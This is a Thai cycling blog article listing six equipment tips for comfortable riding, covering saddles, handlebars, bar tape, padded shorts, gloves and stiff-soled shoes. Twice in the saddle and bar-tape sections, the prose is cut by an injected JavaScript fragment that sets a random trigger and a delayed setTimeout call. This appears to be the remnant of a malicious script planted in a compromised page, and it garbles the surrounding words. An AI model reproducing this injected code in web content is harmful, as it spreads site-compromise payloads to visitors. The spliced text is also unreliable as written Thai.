• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

6 ทริคเล็กๆ ที่ช่วยให้คุณขี่จักรยานได้สบายขึ้น

stepextra by stepextra
27 July 2015
in Cycling Tips, Feature, Tips & Technics
0
6 ทริคเล็กๆ ที่ช่วยให้คุณขี่จักรยานได้สบายขึ้น
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

6 ทริคเล็กๆ ที่ช่วยให้คุณขี่จักรยานได้สบายขึ้น

อาการเมื่อยล้าจากการปั่นจักรยานควรมาจากการฝึกฝนที่เพิ่มความเข้มข้นขึ้นเรื่อยๆ แต่ไม่ควรมาจากตัวจักรยาน

โดยทั่วไปแล้วหลังการซื้อจักรยาน สิ่งที่ควรทำคือ Bike Fitting เพื่อปรับระยะของเบาะ แฮนด์ บันไดและอื่นๆ เพื่อให้เหมาะสมกับสัดส่วนของผู้ปั่น แต่นอกจากการทำ Bike Fitting ก็มีทริคเล็กๆ น้อย ในการเลือกซื้ออุปกรณ์บางอย่างที่จะช่วยให้คุณขับขี่จักรยานได้สบายขึ้น (More comfortable)

1. เบาะนั่ง (Saddle)

http://university.tri-sports.com/

การหาเบาะนั่งให้เหมาะ เป็นสิ่งที่ต้องทดลองด้วยตัวเอง เป็นกระบวนการลองผิดลองถูก (trial andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and error) ถ้าเจอเบาะที่ใช่ มันจะช่วยเปลี่ยนการปั่นของคุณให้ดีขึ้นอย่างไม่น่าเชื่อเลยละครับ หลักการในการเลือกซื้อเบาะง่ายๆ คือ

1. สอบถามช่างประจำร้านจักรยานหรือเพื่อนๆ นักปั่น เพื่อหาข้อมูลของเบาะที่น่าจะเหมาะกับขนาดรูปร่างและสไตล์การปั่นของเรา อาจจะรวมถึงคุณภาพตัวสินค้าที่มีคนเคยลองใช้ สินค้ารุ่นนี้รุ่นนั้นมีคนใช้แล้วดีมั้ย หรือเพื่อนๆ ของเราอาจมีลักษณะรูปร่างและการปั่นที่คล้ายๆ กัน น่าจะใช้เบาะแบบเดียวกันได้มั้

2. เบาะที่ดีอาจไม่ต้องเป็นของราคาแพงเสมอไป ถ้ามีเข้ากับรูปทรง (ก้นของเรา) ของเรา นั่งแล้วปั่นสบายถือว่าจบ เมื่อเราได้เบาะที่หมมายตาไว้ สิ่งที่วรทำต่อมาคือวัดขนาดก้นขอเรา หรือภาษาฝรั่งเรียกว่าการวัด sit bone….สามารถดูได้ที

ลองไปให้ช่างที่ร้านวัดขนาดดูนะครับ จะได้ทำการเลือกสินค้าและทดลองไปในตัวด้วย

3. ถ้าร้านไหนมีสินค้าให้ทดลองก็ควรเลือกใช้ครับ โดยวางเงินมัดจำไว้จำนวนหนึ่ง ถ้าใช้ในเวลาที่กำหนดแล้วไม่ถูกใจก็เปลี่ยนตัวใหม่ได้ ลองจนหาตัวที่ถูกใจสบายก้นเรานะครับ

4. ปัจจัยอื่นๆ ที่ควรคำนึกถึงคือ รูปร่างของเบาะ ที่ออกแบบมาให้เหมาะกับสไตล์การปั่นในแต่ละแบบ ปั่นแบบไต่เขาหรือแบบสปรินซ์ก็จะมีรูปทรงให้เลือก

ต่อมาจะเป็นตัววัสดุของเบาะ (covering) ที่ทำจากหนังแท้ หนังสังเคราะห์ ยางหรือพลาสติก จะให้ความรูสึกผิวสัมผัสเวลานั่งต่างกัน มีผลต่อการเสียดสีไปมาขอผิวหนังด้วย ส่วนรายละเอียดอื่นๆ ควรดูก็จะเป็นรางยึด (rails) และเจลหรือโฟมรองใต้หนังหุ้ม (padding) เป็นต้น

2. ตัวแฮนด์จับหรือ Bar

zipp-bss-choice
www.zipp.com

สิ่งที่ต้องดูคือ ความกว้างพอดีกับไหล่ของเรามั้ย และรูปรางของ Bend หรือตัวส่วนโค้ง (curve) การเลือกเปลียนจะมีผลต่ออาการปวดเมื่อยของไหล่ อาการมือชา การเอื้อมมือเบรคเป็นต้น ส่วนของตัวแฮนด์จะช่วยรองรับส่วนบนของร่างกาย โดยไม่ทำให้คอและไหล่ต้องรับน้ำหนักเกินไป ช่วยให้การควบคุมจักรยานทำได้ง่ายขึ้น

3. เทปพันแฮนด์ (Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar tape)

www.bontrager.com
www.bontrager.com

ผ้าพันแฮนด์ จะให้ความรู้สึกกระชับมือง่ายต่อการควบคุมรถมากขึ้น ถ้าชอบแบบรองรับแรงกระแทกดีๆ ต้องเลือกเบบที่มีเจลผสมอีกชั้นหนึ่ง แต่แบบหนังหรือพลาสติกจะให้ฟีลลิ่งในการควบคุมที่ดีกว่า แต่จะรับแรงสั่นมากกว่าเช่นกัน

4. กางเกงปั่น

0700255PART

ตัวแผ่นรองก้นหรือที่ฝรั่งเรียกว่า Chamois ช่วยรองรับแรงกระแทกและทำให้เราปั่นได้สบายก้นละไปได้นานขึ้น ส่วนมากที่นิยมในบ้านเราจะเป็นแบบผสมเจล นอกจากแผ่นรองก้นแล้วชุดปั่นจักรยานมีส่วนช่วยเพิ่มความคล่องตัวด้วยนะ โดยเฉพาะชุดเอี๊ยม จะช่วยเพิ่มความกระชับเข้ารูป ช่วยลดการเสียดสีกล้ามเนื้อ หลักในการเลือกซื้อกางเกงหรือเสื้อปั่นจักรยานอื่น เช่น วัสดุที่ทำ ขนาดและความฟิต

5. ถุงมือ (gloves)

Free-shipping-Best-bike-gloves-Specialized-mountain-bike-bicycle-gloves-071402

การเปลี่ยนถุงมือสามารถลดอาการมือชาได้ เจลในถุงมือช่วยรองรับแรงกระแทกและป้องกันฝ่ามือได้ในกรณีเกิดอุบัติเหตุล้ม

6. รองเท้า (shoes)

DMTVegaSoleTwo
http://roadcyclinguk.com/

พื้นรองเท้าที่แข็งหรือมีค่า Stiff สูงและเข้าฟิตกระชับกับรูปเท้าจะช่วยให้เราส่งแรงปั่นได้มีประสิทธิภาพ ลดการออกแรงของกล้ามเนื้อผ่าเท้าและกล้ามเนื้อขาลง

ครั้งต่อๆ ไปในการซื้ออุปกรณ์เพื่อให้การปั่นของคุณดูคล่องสบายตัวขึ้นลงดูทริค 6 ข้อนี้ก่อนนะครับ

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.